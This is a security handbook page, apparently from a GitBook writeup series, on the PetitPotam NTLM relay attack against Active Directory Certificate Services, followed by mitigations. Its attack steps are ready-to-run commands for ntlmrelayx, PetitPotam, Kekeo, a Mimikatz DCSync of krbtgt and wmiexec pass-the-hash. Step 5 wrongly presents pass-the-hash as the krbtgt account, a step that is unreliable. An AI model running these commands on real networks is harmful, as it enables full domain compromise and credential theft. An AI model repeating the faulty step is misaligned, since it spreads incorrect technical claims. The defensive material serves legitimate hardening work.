> For the complete documentation index, see [llms.txt](https://karim-ashraf.gitbook.io/karim_ashraf_space/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://karim-ashraf.gitbook.io/karim_ashraf_space/writeups/the-complete-active-directory-security-handbook/attack-technique-8-petitpotam-ntlm-relay-attack-on-a-active-directory-certificate-services-ad-cs.md).

# Attack Technique 8: PetitPotam NTLM Relay Attack on a Active Directory Certificate Services (AD CS)

## **PetitPotam NTLM Relay Attack: Overview, Execution, and Mitigation Strategies**

***

## **Introduction**

The **PetitPotam NTLM Relay Attack** exploits vulnerabilities in legacy protocols, particularly **Windows NTLM authentication** and the **MS-EFSRPC protocol**. Attackers use this method to compromise Active Directory (AD) environments, specifically targeting **Active Directory Certificate Services (AD-CS)** configurations that lack proper security measures.

***

## **Attack Overview**

1. **Exploitation of MS-EFSRPC Protocol**:
   * Attackers use **PetitPotam** to force a **Domain Controller (DC)** to authenticate via **NTLM** to a malicious server.
2. **NTLM Relay to AD-CS**:
   * The attacker relays the captured NTLM authentication to an **AD-CS Web Enrollment** page to request a domain controller certificate.
3. **Certificate-Based Privilege Escalation**:
   * Using the certificate, attackers obtain a **Ticket Granting Ticket (TGT)** for the domain controller account.
4. **Domain Compromise**:
   * The TGT allows high-privilege operations, leading to full domain compromise.

***

## **Impact**

* **Full Domain Compromise**: Attackers gain control over sensitive domain accounts and data.
* **Privilege Escalation**: Domain Controller certificates enable unauthorized high-privilege actions.
* **Persistent Threat**: Certificates can be reused to maintain access.

***

## **Techniques to Perform a PetitPotam NTLM Relay Attack**

### **Step 1: Setting Up NTLM Relay to AD-CS**

Use **Impacket's ntlmrelayx.py** to intercept and relay NTLM authentication requests to the AD-CS Web Enrollment page.

**Command**:

```bash
sudo python3 ntlmrelayx.py -debug -smb2support --target http://<target-ip>/certsrv/certfnsh.asp --adcs --template KerberosAuthentication
```

**Flags**:

* `--target`: Specifies the AD-CS enrollment URL.
* `--adcs`: Indicates targeting an AD-CS server.
* `--template`: Specifies the **KerberosAuthentication** template.
* `-smb2support`: Enables SMBv2 connections.

### **Step 2: Exploiting PetitPotam Vulnerability**

Trigger NTLM authentication from the Domain Controller using **PetitPotam**.

**Command**:

```bash
python3 Petitpotam.py <listener-ip> <target-ip>
```

* `listener-ip`: Attacker's relay server.
* `target-ip`: Target Domain Controller.

**Result**: Captured NTLM authentication forwarded to AD-CS.

***

### **Step 3: Obtaining a Ticket Granting Ticket (TGT)**

With the certificate obtained, use **Kekeo** or **Rubeus** to request a **TGT**.

**Kekeo Command**:

```bash
Kekeo # tgt::ask /pfx:<base64 cert> /user:DC-101$ /domain:EXAMPLE.local /ptt
```

* `DC-101$`: Domain Controller account.
* `ptt`: Pass-the-ticket functionality.

***

### **Step 4: Performing DCSync Attack**

Extract the **krbtgt** hash using **Mimikatz**.

**Mimikatz Command**:

```bash
lsadump::dcsync /domain:EXAMPLE.local /user:krbtgt
```

**Result**:

```bash
Hash of krbtgt: 186c026974e59a14040dbc63aa8fb8c4
```

***

### **Step 5: Pass-the-Hash**

Use the **krbtgt hash** to gain access to the Domain Controller.

**Impacket Command**:

```bash
wmiexec.py -hashes :186c026974e59a14040dbc63aa8fb8c4 EXAMPLE/krbtgt@<target-ip>
```

**Outcome**: Interactive shell on the Domain Controller with elevated privileges.

***

## **Mitigation Techniques for PetitPotam NTLM Relay Attacks**

### **1. Enable Extended Protection for Authentication (EPA)**

**EPA** enforces mutual authentication and prevents NTLM relay attacks.

**Steps**:

* Open **IIS Manager**.
* Set **Extended Protection for Authentication** to **Required**.
* Update the **Web.config** file of the Certificate Enrollment Web Service:

  **Example**:

  ```xml
  <extendedProtectionPolicy policyEnforcement="Always" />
  ```

***

### **2. Enforce SSL-Only Connections**

Ensure all connections to the **AD-CS Web Enrollment** page use SSL.

**Steps**:

* In IIS Manager, enable **Require SSL** for the Web Enrollment site.

**Command**:

```bash
iisreset /restart
```

***

### **3. Disable NTLM Authentication Where Possible**

Transition to **Kerberos Authentication** for services and protocols.

**Steps**:

* Use **Group Policy** to disable NTLM:
  * **Computer Configuration** → **Policies** → **Windows Settings** → **Security Settings** → **Local Policies** → **Security Options**.
  * Configure **Network Security: Restrict NTLM** policies.

***

### **4. Harden AD-CS Configurations**

Restrict certificate issuance by tightening AD-CS configurations.

* Use **specific templates** that enforce stricter authentication.
* Disable the **KerberosAuthentication** template if not required.

***

### **5. Monitor MS-EFSRPC Protocol Usage**

Regularly audit usage of the **EFSRPC protocol** to detect unauthorized NTLM authentication triggers.

***

## **Conclusion**

The **PetitPotam NTLM Relay Attack** targets legacy authentication mechanisms and misconfigured AD-CS environments, enabling attackers to achieve full domain compromise.

To mitigate this risk:

* **Enforce EPA** and **SSL** to protect AD-CS.
* **Disable NTLM** and adopt **Kerberos**.
* **Regularly monitor and audit** protocol usage and certificate services.

By implementing these measures, organizations can effectively reduce the attack surface and protect their Active Directory environments from this sophisticated threat.

<figure><img src="https://1176031639-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNQ7A82FmDjR05oHeIjks%2Fuploads%2F9VOeCRZpcWDpZXZXI83n%2Fimage%20(3).png?alt=media&amp;token=e9a79180-ef30-4fae-90fa-c32ec2934ab4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1176031639-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNQ7A82FmDjR05oHeIjks%2Fuploads%2FC65uZ2zgLuTdEXx3lpY3%2Fimage%20(4).png?alt=media&amp;token=fc8c3157-64f1-4fe6-a6a9-22c4ceb4caa5" alt=""><figcaption></figcaption></figure>